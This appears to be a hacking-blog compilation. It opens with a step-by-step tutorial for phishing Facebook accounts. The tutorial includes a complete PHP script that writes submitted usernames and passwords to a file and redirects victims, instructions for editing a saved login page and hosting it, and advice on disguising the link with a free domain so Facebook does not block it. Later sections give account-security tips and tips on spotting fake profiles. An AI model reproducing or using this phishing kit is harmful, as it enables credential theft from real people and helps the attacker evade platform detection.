How To Hackers Hack FaceBook Account Using Phishing Attack

WHAT IS PHISHING?
Phishing is a technique or a way of attempting to acquire sensitive or confidential information such as usernames, passwords, and credit card details by false pretense as a trustworthy entity in an electronic communication. This is done with the help of a phisher.


WHAT IS A PHISHER?
A phisher is something that looks exactly like an Original login page (fake page), that writes the victim's login data (Username and Password) to a specific file, or does whatever you want so long as you get access to the victim's login data.
Here is an example of a fake facebook login page (phisher)




 HOW TO MAKE A PHISHER?
As the saying goes:

  • Dont give plenty of FISH to your friend,. Instead, you should teach him how to PHISH 

Therefore, instead of  just giving you the download link to the already made phishing page,.. Am going to teach you how to make your own phishing page. Well, at the end of this tutorial, i will put a download link to my already made phishing pages but first you have to learn how to make your own phisher :D

To create a successful phisher, all you need is a PHP enabled siteNotepad on your computer and a brain.

You can download Notepad v5.9++ here

Here is a list of php enabled free hosting sites:



In this tutorial am going to fucus mainly on how to prepare a phishing attack on facebook, am going to use Mozilla firefox as the browser and http://my3gb.com as the hosting site, its much easier.

STEP 1 -Creating the fake page

  • Go to facebook's login page http://www.facebook.com
  • On the top left corner of your Firefox browser, Click File ->Save page As and save your page name as facebook.html
  • Open facebook.html Using Notepad and search for the word ''action''

You will find it on a line that looks like this;

class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form"

  • Now change the method to ''get'' and action to ''login.php'' so that you will have something that looks like this;
class="menu_login_container"><form method="get" action="login.php" id="login_form"


STEP 2- Preparing the php script
  • To Create a php file, simply pasting the code below into your notepad. Then save it as login.php

------------------------------------------------------------------------------
<?php
header("Location: http://facebook.com/login.php ");
$handle = fopen("noobs.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


------------------------------------------------------------------------------

 Note that in the above script, ''phished.txt'' is the file on which all hacked usernames and passwords will be saved and ''https://facebook.com/login.php'' is the Original facebook url where your victim will be redircted to after clicking the login button on your fake page. But at the moment facebook has tightened its security where by your victim will get notified of a phishing attack and would therefore be prompted to change his password right after arriving from a phishing page.

To avoid this, you should redirect your victim to any other url which is not of facebook by replacing  https://facebook.com/login.php with any url. Choosing the url to redirect your victim to will all depend on the trick that you will use against your victim in the whole phishing proccess.

Please also note that this part is mainly for facebook , its ok with several other sites like gmail, hotmail e.t.c your victim will not get a warning message, including mobile facebook (http://m.facebook.com).

STEP 3- Create File where to save hacked passwords 
  • Create an empty text file using notepad and rename it as phished
Note that when creating the text file, there is no need of renaming it as phished.txt because the fact that you will save it as a text file is enough to make it bear the extension of txt

Now you have 3 files so far;
  1. facebook.html
  2. login.php
  3. phished.txt
 STEP 5- Uploading the 3 files

Now go to http://my3gb.com and sign up for a free hosting account the upload the 3 files
If your phisher has successfully been made, any email address and passwords that are typed on your fake page will be saved on the ''phished.txt'' file



The link to your phishing page will therefore be; 
www.yourusername.my3gb.com/facebook.html

NOTE THAT:

  1. No One will be so dumb to click on such a link
  2. Facebook will automaticaly block your phishing url from being posted on facebook
To overcome the above sitiuation you need to rename your phishing link using a ''dot.tk'' domain. To be able to do this, go to www.dot.tk and register,. After that, login to your account and click on ''Add a new free domain now'' and follow the rest of the steps.

Your dot.tk domain name will look like this,... www.anyname.tk , any clicks on this link will be fowarded to your fake facebook page.
The good part is that..
 
  • you can rename the phishing link to suite your victim's curiosity and there making it difficult for him to notice any phisher
  • Your phisher will NOT be detected and blocked by facebook,..so you are free to post it or send it to a freind on facebook via inbox.

Hope you enjoyed the tutorial,.

How To Secure Your FaceBook Account

  •  Enable secure HTTPS connection

  • Create a strong password for authentication No matter how secrete your password is, it can easily be broken by brute-force, that is if you choose to use a short and simple password. If you don�t have a strong password to protect your account, then whatever security guides that you apply wont do you any good. The key here is to have a long and complicated password where complexity is the combination of lower case, upper case, numeric and special characters like symbols. for example..

2$k/Gp@?H$y8rQ?

  • DO NOT use a password that has a straight forward meaning (that can be found in the dictionary)
  • DO NOT use a phone number as a password
  • DO NOT use your boyfriend or girlfriend's name as a password,. no matter how much you love them or else it'll easily be broken down.:P

    • Enable login notification
    • Enabling the login notification will keep you notified when somebody logs in to your account without your permission.. So you can immediately kick them out fast and set a new password so that they can never login again. This is an extremely good feature which can be enabled for both email and mobile SMS.

      • One Time Password in login approval
      • One Time Password - is a two factor authentication method where you can enable all logins from unknown devices to use One Time Password,.. so as to ensure that only you can login from an unknown device. By making use of this feature, there is only one way a hacker can use to get your Facebook identity which is by stealing your recognised device and that is your computer or mobile phone lol.

        • Logging out from Facebook
        • Beware of Keyloggers
        • A keylogger - is a spyware tool that runs secretly in the system and records each and every keystroke on the user's keyboard. In other words, whatever you type on the keyboard is going to be saved as logs, which can later be viewed with a log viewer or sent to the hacker's email address via your network. And not only keystroke capturing, keyloggers have additional features like,.. screenshot capturing, secrete webcaming & web activity logging. There are two types of keyloggers, Software and hardware keyloggers.

          • Software keyloggers are usually downloaded as file attachments from the web, a single click on that file executes the keylogger.

          • Hardware keyloggers are more like usb disks, they are plugged in manually onto the victim's computer via usb port. The most common place to find hardware keyloggers are Internet cafes or a cyber cafe rather.

          How to Avoid and Bypass keyloggers

          • Update your antivirus regularly though this will only apply to a software keylogger as hardware  keyloggers are hardly detected by antivirus :P

          • Develop a habit of using an onscreen keyboard whenever you want to enter a password, this will bypass any keylogger installed on your system. To access the onscreen keyboard, simply go to Start->Run then in the prompt box, type osk.exe and hit Enter! the keyboard will appear on your screen, then use the mouse to enter your password.

          • Another way to bypass a keylogger is to fool it by shuffling your password when entering it lol. What i mean is...for example if your password is ABCDEF, when entering it, first type the letters ''AB'' and ''F'' then put the mouse cursor between ''B'' and ''F'' and type the letters ''C'' and ''E'' then finally put your mouse cursor between ''C'' and ''E'' and punch the letter D. ... haha lol then whoever installed that keylogger will never get your password correct. The aim is to enter the password without following the correct order.

            • Beware of Phishing
            • Phishing is a method of getting a user's credentials, i.e username and password with the help of a fake login page. You can find out more about phishing in my earlier article here, To protect yourself from phishing, always check your URL or your current page address in your browser's address bar to make sure you are on the real or correct login page. And please NEVER submit your login details on any third party site apart from facebook. Stay alert!!

              • Beware of HACK the hacker tools
              • These are simple tools that are developed with a quite convincing interface of hacking anybody's password with a single click. e.g facebook hacker pro, 007 facebook hacker, gmail password cracker, yahoo password cracker e.t.c.  These contain two main parts, the noob hacker's part, and the victim's part. The noob hacker is prompted to enter his username & password followed by his victim's username ,.. with the belief that when the noob hacker hits Enter,. he will get his victim's password revealed,.. Well the bad news is that these tools are nothing but trojans.

              • What this tool will do is,.. instead it will get whatever was imputed or typed on the noob hacker's part (username and password) & send it silently to the real HACKER's email address via a network connection, hence the noob hacker has been HACKED!!! :P:P:P

              • Therefore if you have been searching for a software on the internet to hack your friend with, i suggest that you stop now or you will only get yourself hacked. For now it is impossible to hack into facebook or any other account with a single click, the only way is by doing the manual work yourself.

                • Update your System Regularly
                • Updating your system regularly is one of the effective ways to get rid of malicious tools or spyware programs that may have patched up your system. Remember, there is nothing like 100% secure, change your passwords like a ladies underwear. Update your antivirus and do a regular scan. But please do not trust your antivirus too much lol. Some of these tool are deadly and completely FUD (Fully Undetectable). Just combine with the above knowledge and you are safe :D:D:D

                When you open Facebook for login purpose, you have to fill two fields including username/email and password. By default the password box is masked. You can convert it into a normal text box by modifying Facebook element code. So, after apply the trick, you will be able to see whatever is typed in the password field.

                Find, Delete, Prevent Your Facebook Profile Picture To Be Used By Others

                How will you feel if you find that your own facebook profile picture is used by someone else (considering you are not a celebrity) on a facebook and that too for illegal purpose and what if it exists without in your knowledge. The situation can become even much worse if you are a girl. These days Cyber crime issues came into news at rapid speed and these cyber cases are growing in numbers drastically. @Codemink we bring you some how-to guides to prevent your self from these issues.
                Well, there is a lot of settings inside facebook you can control your privacy. But, however one can still download your pictures and share over internet. Facebook did a lot to make things private but however �save image as� option under browser is something which is out of facebook. Thus, how to prevent your Facebook Profile Picture to be used by others or in Fake Ids. Let�s see it below.

                How to Find Fake Facebook Profile Pictures

                Step#1: Go into your facebook account and open profile picture of you. If possible enlarge it.
                Step#2: Right Click on your profile picture and select �copy image location�.

                Step#3: Open Google Images website (http://images.google.com, http://www.google.com/imghp).
                 Click on camera icon to open a dialog box

                Step#4: Paste your copied image URL in the box as shown here.


                Step#5: Your Image will be searched here and list of other sites or facebook profile will be displayed here which is using the same image.
                  
                But, Hey! wait we are still not done.

                Step#6: Write �facebook� along with the attached image in the box.

                 

                Step#7: The search result generated here by google shows you the facebook profile using same picture as their facebook profile picture (display picture).


                It is so easy to find, isn�t it? well, I suggest you to search your older profile photo as well. If you find any user who is using your profile picture without your consent, then do something on your behalf. The other thing you can do on your behalf is to use facebook�s �Report/Block� option to force the fake account deleted. 

                #1: First go to the profile of the person using your picture. Click on settings box and select �Report/Block�.


                 #2: The Box which appears will now ask you for the reason you want it to block. Select appropriate reason as submit.


                #3: After confirming select some other appropriate option and you are done now.


                Only one Report/Block will not help you much, we @codemink suggest you to ask your friends to Report/Block that fake account following the same steps and selecting the fake account as �pretending to be someone I know.

                Other Things which you can do to is to publish a post on your timeline as a status statingHey!, This person is using my profile picture and is fake. Report this account as it is pretending to be me. http://www.facebook.com/###



                This is how you can protect yourself and your profile. We request you to share this post with your friends as much as you can so that they come to know what they can do to save themselves. If you have any other idea do share with us. (like this Post if it really helped you).

                How to avoid facebook hacking?

                If hackers intent to hack your facebook account, it could mean big trouble.




                Not only He/She could read your private messages but also send out spam messages, upload & share sexy pics and also they can cheat girl friends too. If you aren't technically gifted you can follow these simple steps to make facebook account safe.

                You may think that why hackers hack Facebook accounts and what are they doing with it? The answer is quite simple. If parents enter into their child's account, they might want to see what they are doing online to monitor them. A husband would want to check if his wife is faithful or vice versa. In modern internet world social media sites has become one of the most trending thing for people of every age. Many are sharing their deepest and darkest secrets, interests, hobbies, likes and dislikes with their friends.Each and every person in this world would like to know others secrets. That's why social media hacking made famous. Try these steps and make your fb account 99% safer.


                1. Log Out
                The main step for protecting fb account is, always log out from the account after log in to it. I had seen many fb accounts which were not sign outed in cafes. Many are just closing the browser window instead log outing. This situation is a super chance for hackers to get into your account. So always keep in mind that never let your facebook [or any account] logged on.

                 2. Don't use 'remember me' in browser

                This is the main way to loose your account. Never click 'remember me' or similar buttons to save your login details or don't save passwords in your browser. Think that you click remember password option while browsing a public computer or computer in an internet cafe, some one next to you checks the saved password option, they can see all saved passowords. The image shows saved password in mozilla firefox browser. 


                In my personal experience i had viewed many of such usernames and passwords [facebook,bank,email] at cafe's. But as i am genuine i didn't use such accounts till now. It's a bit more of hassle to log in each time you want to email, but it's more safer.







                  
                3. Avoid internet cafe's to check facebook status

                 As per the report many cafe's are using key loggers to catch their customers personal details. The working of key loggers are simple. After installing they automatically activated at system start up. When you press any key in the keyboard key logger stores that letter. Think that you gives your credit card details. Such key loggers saves all pressed keys and sends it to the hackers. Modern key loggers have the option to send the saved details to any pre given email addresses.So avoid using of  internet cafe's to check fb status.


                4. Don't accept unknown's friend request

                I heard about persons have 5000 friends. Is all such friends are known guyz.. May be. But probably answer is NO. Facebook has a loop hole that if three of your friend intent to hack your account it's possible. Due to security reasons i will not explain it how. So please don't accept friend request of unknown friends.

                5. Change your password at specific interval

                Changing passwords at specific span of time is a good method.  If any attempt to log in to your account from other countries they may inform you to change your current password. So don't avoid such warnings.

                6.Use anti virus and anti key loggers

                Using of anti virus and anti keyloggers is an efficient way to protect your email account.

                10 Tips To Identify Fake Profile In Facebook

                How To Identify Fake Profile In Facebook?
                [it's not fake account. this is only an example of fake account]

                Like many other social networks, Facebook also contains tons of fake profiles unfortunately. Those fake profile holders use Social Engineering tactics to attack innocent people. Facebook has almost 500 Million Users and it is not surprising to have few thousands fake profiles. Below I mentioned some funny but true tips to check whether a profile is fake or not.

                1. Profile Picture: Always be suspicious of profiles featuring photos of professional models. Most of the fake profiles, especially that of females, have only one profile picture and that too a beautiful or sexy (ahem) picture!

                2. A Bunch Of Friends: Most of Profile added a bunch of Facebook Friends like: 3500 Friends or 2505 Friends.

                3. For Boys : Girls don�t send friend requests to strangers, I mean good girls! So if, by chance, you get a friend request from girls, don�t confirm it without verifying the details. If you are not a handsome looking guy and you got a friend request from a hot babe. Then you really need to triple check!

                4. For Girls : Who said? I support boys too! But some boys usually send friend requests to girls. So it is better to confirm with others and verify. If you are not a hot babe and you got a friend request from a handsome looking guy. Then you should also really need to triple check!

                5.Profile Pictures Comments: If they comment on their pics with "Thanks Or Thank You!".This is not a fake profile.But how to find with comments: Okay see comments list like :

                Boy : U r so beautiful
                Girl : No Reply About this comment

                Boy: Nice Looking
                Girl : No Reply About this comment

                And more.....You can check about this more and you have to use common sense about their profile why I am commenting on this pic.If they have some mutual friends definatoly He/She reply about their comment.If no He/She is Fake Profile and what you have to do remove them.

                6.Chat: If you are trying to chat with He/She but didn't reply. No problem We think He/She is busy but after 10 days or 30 days you are trying to chat with He/She but didn't get reply any one word than He/She is absolutely Fake Profile.Why I am said this point because I try this in my Profile and remove those useless friends.

                7. Status Updates: Most probably fake profile�s status updates won�t get comments or likes. They may also share fake websites.

                8. When Did They Joined?: Check when she/he joined. If they have lots of friends and have only been on the Facebook a short amount of time, it�s likely to be a fake one.

                9.Tag: Many people use tag photo in their friends.Fake Profile has tagged lots of tagging pictures but didn't give any response of any photo.This is Fake Profile..:)

                10.
                Many Males: Their friends list will contain males mostly (Well, that�s not their fault, gender issue.....:). It could be around 1000s or even more than that.

                please give us your feedback and comment in comment box thank you
